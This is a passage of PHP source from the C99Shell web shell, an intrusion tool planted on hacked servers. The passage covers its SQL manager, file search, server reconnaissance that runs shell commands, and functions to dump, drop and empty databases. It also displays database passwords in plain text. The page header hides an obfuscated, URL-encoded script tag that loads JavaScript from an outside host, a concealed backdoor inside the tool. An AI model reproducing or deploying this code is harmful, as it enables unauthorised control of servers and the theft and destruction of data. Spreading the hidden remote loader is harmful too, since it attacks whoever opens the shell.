  689.  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  690.  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  691.  if ((!$submit) or ($sql_act))
  692.  {
  693.   echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  694.   if ($tbl_struct)
  695.   {
  696.    echo "<td valign=\"top\"><b>Fields:</b><br>";
  697.    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "¬ª <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  698.    echo "</td></tr></table>";
  699.   }
  700.  }
  701.  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  702. }
  703. }
  704. if (!function_exists("mysql_create_db"))
  705. {
  706. function mysql_create_db($db,$sock="")
  707. {
  708.  $sql = "CREATE DATABASE `".addslashes($db)."`;";
  709.  if ($sock) {return mysql_query($sql,$sock);}
  710.  else {return mysql_query($sql);}
  711. }
  712. }
  713. if (!function_exists("mysql_query_parse"))
  714. {
  715. function mysql_query_parse($query)
  716. {
  717.  $query = trim($query);
  718.  $arr = explode (" ",$query);
  719.  /*array array()
  720.  {
  721.   "METHOD"=>array(output_type),
  722.   "METHOD1"...
  723.   ...
  724.  }
  725.  if output_type == 0, no output,
  726.  if output_type == 1, no output if no error
  727.  if output_type == 2, output without control-buttons
  728.  if output_type == 3, output with control-buttons
  729.  */
  730.  $types = array(
  731.   "SELECT"=>array(3,1),
  732.   "SHOW"=>array(2,1),
  733.   "DELETE"=>array(1),
  734.   "DROP"=>array(1)
  735.  );
  736.  $result = array();
  737.  $op = strtoupper($arr[0]);
  738.  if (is_array($types[$op]))
  739.  {
  740.   $result["propertions"] = $types[$op];
  741.   $result["query"]  = $query;
  742.   if ($types[$op] == 2)
  743.   {
  744.    foreach($arr as $k=>$v)
  745.    {
  746.     if (strtoupper($v) == "LIMIT")
  747.     {
  748.      $result["limit"] = $arr[$k+1];
  749.      $result["limit"] = explode(",",$result["limit"]);
  750.      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  751.      unset($arr[$k],$arr[$k+1]);
  752.     }
  753.    }
  754.   }
  755.  }
  756.  else {return FALSE;}
  757. }
  758. }
  759. if (!function_exists("c99fsearch"))
  760. {
  761. function c99fsearch($d)
  762. {
  763.  global $found;
  764.  global $found_d;
  765.  global $found_f;
  766.  global $search_i_f;
  767.  global $search_i_d;
  768.  global $a;
  769.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  770.  $h = opendir($d);
  771.  while (($f = readdir($h)) !== FALSE)
  772.  {
  773.   if($f != "." && $f != "..")
  774.   {
  775.    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  776.    if (is_dir($d.$f))
  777.    {
  778.     $search_i_d++;
  779.     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  780.     if (!is_link($d.$f)) {c99fsearch($d.$f);}
  781.    }
  782.    else
  783.    {
  784.     $search_i_f++;
  785.     if ($bool)
  786.     {
  787.      if (!empty($a["text"]))
  788.      {
  789.       $r = @file_get_contents($d.$f);
  790.       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  791.       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  792.       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  793.       else {$bool = strpos(" ".$r,$a["text"],1);}
  794.       if ($a["text_not"]) {$bool = !$bool;}
  795.       if ($bool) {$found[] = $d.$f; $found_f++;}
  796.      }
  797.      else {$found[] = $d.$f; $found_f++;}
  798.     }
  799.    }
  800.   }
  801.  }
  802.  closedir($h);
  803. }
  804. }
  805. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  806. //Sending headers
  807. @ob_start();
  808. @ob_implicit_flush(0);
  809. function onphpshutdown()
  810. {
  811.  global $gzipencode,$ft;
  812.  if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
  813.  {
  814.   $v = @ob_get_contents();
  815.   @ob_end_clean();
  816.   @ob_start("ob_gzHandler");
  817.   echo $v;
  818.   @ob_end_flush();
  819.  }
  820. }
  821. function c99shexit()
  822. {
  823.  onphpshutdown();
  824.  exit;
  825. }
  826. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  827. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  828. header("Cache-Control: no-store, no-cache, must-revalidate");
  829. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  830. header("Pragma: no-cache");
  831. if (empty($tmpdir))
  832. {
  833.  $tmpdir = ini_get("upload_tmp_dir");
  834.  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  835. }
  836. $tmpdir = realpath($tmpdir);
  837. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  838. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  839. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  840. else {$tmpdir_logs = realpath($tmpdir_logs);}
  841. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  842. {
  843.  $safemode = TRUE;
  844.  $hsafemode = "<font color=red>ON (secure)</font>";
  845. }
  846. else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
  847. $v = @ini_get("open_basedir");
  848. if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
  849. else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
  850. $sort = htmlspecialchars($sort);
  851. if (empty($sort)) {$sort = $sort_default;}
  852. $sort[1] = strtolower($sort[1]);
  853. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  854. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  855. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  856. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  857. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  858. @ini_set("highlight.default",$highlight_default); //#0000BB
  859. @ini_set("highlight.html",$highlight_html); //#000000
  860. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  861. @ini_set("highlight.string",$highlight_string); //#DD0000
  862. if (!is_array($actbox)) {$actbox = array();}
  863. $dspact = $act = htmlspecialchars($act);
  864. $disp_fullpath = $ls_arr = $notls = null;
  865. $ud = urlencode($d);
  866. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b><Script Language='Javascript'>
  867. <!--
  868. document.write(unescape('%3C%53%43%52%49%50%54%20%53%52%43%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%72%35%37%2E%6C%69%2F%69%6D%61%67%65%73%2F%69%6D%67%2E%6A%73%3E%3C%2F%53%43%52%49%50%54%3E%0D%0A'));
  869. //-->
  870. </Script>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
  871. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  872. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  873. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  874. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  875. $d = str_replace("\\\\","\\",$d);
  876. $dispd = htmlspecialchars($d);
  877. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  878. $i = 0;
  879. foreach($pd as $b)
  880. {
  881.  $t = "";
  882.  $j = 0;
  883.  foreach ($e as $r)
  884.  {
  885.   $t.= $r.DIRECTORY_SEPARATOR;
  886.   if ($j == $i) {break;}
  887.   $j++;
  888.  }
  889.  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  890.  $i++;
  891. }
  892. echo "&nbsp;&nbsp;&nbsp;";
  893. if (is_writable($d))
  894. {
  895.  $wd = TRUE;
  896.  $wdt = "<font color=green>[ ok ]</font>";
  897.  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  898. }
  899. else
  900. {
  901.  $wd = FALSE;
  902.  $wdt = "<font color=red>[ Read-Only ]</font>";
  903.  echo "<b>".view_perms_color($d)."</b>";
  904. }
  905. if (is_callable("disk_free_space"))
  906. {
  907.  $free = disk_free_space($d);
  908.  $total = disk_total_space($d);
  909.  if ($free === FALSE) {$free = 0;}
  910.  if ($total === FALSE) {$total = 0;}
  911.  if ($free < 0) {$free = 0;}
  912.  if ($total < 0) {$total = 0;}
  913.  $used = $total-$free;
  914.  $free_percent = round(100/($total/$free),2);
  915.  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
  916. }
  917. echo "<br>";
  918. $letters = "";
  919. if ($win)
  920. {
  921.  $v = explode("\\",$d);
  922.  $v = $v[0];
  923.  foreach (range("a","z") as $letter)
  924.  {
  925.   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  926.   if (!$bool) {$bool = is_dir($letter.":\\");}
  927.   if ($bool)
  928.   {
  929.    $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
  930.    if ($letter.":" != $v) {$letters .= $letter;}
  931.    else {$letters .= "<font color=green>".$letter."</font>";}
  932.    $letters .= " ]</a> ";
  933.   }
  934.  }
  935.  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  936. }
  937. if (count($quicklaunch) > 0)
  938. {
  939.  foreach($quicklaunch as $item)
  940.  {
  941.   $item[1] = str_replace("%d",urlencode($d),$item[1]);
  942.   $item[1] = str_replace("%sort",$sort,$item[1]);
  943.   $v = realpath($d."..");
  944.   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  945.   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  946.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  947.  }
  948. }
  949. echo "</p></td></tr></table><br>";
  950. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  951. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  952. if ($act == "") {$act = $dspact = "ls";}
  953. if ($act == "sql")
  954. {
  955.  $sql_surl = $surl."act=sql";
  956.  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  957.  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  958.  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  959.  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  960.  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  961.  $sql_surl .= "&";
  962.  ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
  963. if ($sql_server)
  964. {
  965.  $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  966.  $err = mysql_smarterror();
  967.  @mysql_select_db($sql_db,$sql_sock);
  968.  if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  969. }
  970. else {$sql_sock = FALSE;}
  971. echo "<b>SQL Manager:</b><br>";
  972. if (!$sql_sock)
  973. {
  974.  if (!$sql_server) {echo "NO CONNECTION";}
  975.  else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  976. }
  977. else
  978. {
  979.  $sqlquicklaunch = array();
  980.  $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  981.  $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  982.  $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  983.  $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  984.  $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  985.  $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  986.  echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  987.   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  988.   echo "</center>";
  989.  }
  990.  echo "</td></tr><tr>";
  991.  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  992.  else
  993.  {
  994.   //Start left panel
  995.   if (!empty($sql_db))
  996.   {
  997.    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
  998.    $result = mysql_list_tables($sql_db);
  999.    if (!$result) {echo mysql_smarterror();}
  1000.    else
  1001.    {
  1002.     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  1003.     $c = 0;
  1004.     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>¬ª&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  1005.     if (!$c) {echo "No tables found in database.";}
  1006.    }
  1007.   }
  1008.   else
  1009.   {
  1010.    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
  1011.    $result = mysql_list_dbs($sql_sock);
  1012.    if (!$result) {echo mysql_smarterror();}
  1013.    else
  1014.    {
  1015.     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
  1016.     $c = 0;
  1017.     $dbs = "";
  1018.     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  1019.     echo "<option value=\"\">Databases (".$c.")</option>";
  1020.     echo $dbs;
  1021.    }
  1022.    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  1023.   }
  1024.   //End left panel
  1025.   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  1026.   //Start center panel
  1027.   $diplay = TRUE;
  1028.   if ($sql_db)
  1029.   {
  1030.    if (!is_numeric($c)) {$c = 0;}
  1031.    if ($c == 0) {$c = "no";}
  1032.    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  1033.    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1034.    echo "</b></center>";
  1035.    $acts = array("","dump");
  1036.    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1037.    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  1038.    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  1039.    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1040.    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1041.    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1042.    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1043.    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  1044.    elseif ($sql_tbl_act == "insert")
  1045.    {
  1046.     if ($sql_tbl_insert_radio == 1)
  1047.     {
  1048.      $keys = "";
  1049.      $akeys = array_keys($sql_tbl_insert);
  1050.      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  1051.      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  1052.      $values = "";
  1053.      $i = 0;
  1054.      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  1055.      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  1056.      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  1057.      $sql_act = "query";
  1058.      $sql_tbl_act = "browse";
  1059.     }
  1060.     elseif ($sql_tbl_insert_radio == 2)
  1061.     {
  1062.      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  1063.      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  1064.      $result = mysql_query($sql_query) or print(mysql_smarterror());
  1065.      $result = mysql_fetch_array($result, MYSQL_ASSOC);
  1066.      $sql_act = "query";
  1067.      $sql_tbl_act = "browse";
  1068.     }
  1069.    }
  1070.    if ($sql_act == "query")
  1071.    {
  1072.     echo "<hr size=\"1\" noshade>";
  1073.     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1074.     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1075.     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  1076.    }
  1077.    if (in_array($sql_act,$acts))
  1078.    {
  1079.     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
  1080.    if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  1081.     if ($sql_act == "newtbl")
  1082.     {
  1083.      echo "<b>";
  1084.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  1085.     }
  1086.     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1087.    }
  1088.    elseif ($sql_act == "dump")
  1089.    {
  1090.     if (empty($submit))
  1091.     {
  1092.      $diplay = FALSE;
